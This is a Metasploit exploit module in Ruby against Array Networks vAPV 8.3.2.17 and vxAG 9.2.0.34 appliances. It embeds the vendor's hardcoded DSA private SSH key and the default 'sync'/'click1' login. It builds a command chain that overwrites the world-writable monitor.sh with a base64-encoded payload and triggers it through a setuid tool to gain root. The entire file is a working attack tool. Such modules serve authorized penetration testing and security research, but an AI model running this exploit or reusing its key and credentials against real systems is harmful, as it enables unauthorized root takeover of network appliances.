##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution',
        'Description' => %q{
          This module exploits a default hardcoded private SSH key or default hardcoded
          login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
          by Array Networks. After logged in as the unprivileged user, it's possible to modify
          the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code.
          Execution is possible by using the backend tool, running setuid, to turn the debug
          monitoring on. This makes it possible to trigger a payload with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module
        ],
        'References' => [
          ['OSVDB', '104652'],
          ['OSVDB', '104653'],
          ['OSVDB', '104654'],
          ['PACKETSTORM', '125761']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Compat' =>
                  {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic telnet'
                  }
        },
        'Targets' => [
          ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2014-02-03',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(22),
        OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
        OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
        OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def login_key(user)
    print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")

    key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
    key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
    key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
    key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
    key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
    key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
    key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
    key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
    key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
    key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
    key_data += "+sqSEhA35Le2kC4Y1/A=\n"
    key_data += "-----END DSA PRIVATE KEY-----\n"

    opts = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: key_data
    })

    opts
  end

  def login_user_pass(user, pass)
    print_status("#{rhost}:#{rport} - Attempting to login with '#{user}:#{pass}'")
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: true,
      password: pass,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts
  end

  def build_command
    mon_temp = rand_text_alphanumeric(10)
    cmd = Rex::Text.encode_base64('nohup ' + payload.encoded)
    # Turn debug monitoring off, just in case it's turned on
    command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
    # Copy the data from monitor.sh to a random tmp file
    command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"
    # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
    command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
    # Turn debug monitoring on, which will start the monitor.sh and thus our payload
    command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
    # Copy monitor.sh data back
    command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"

    command
  end

  # def execute_command(cmd, opts)
  def exploit
    user = datastore['USER']
    pass = datastore['PASS']

    if datastore['SSHKEY']
      opts = login_key(user)
    else
      opts = login_user_pass(user, pass)
    end

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh

    if datastore['SSHKEY']
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:SSH PRIVATE KEY)")
    else
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
    end

    # Make the SSH connection and execute our commands + payload
    print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
    Net::SSH::CommandStream.new(ssh, build_command)
  end
end
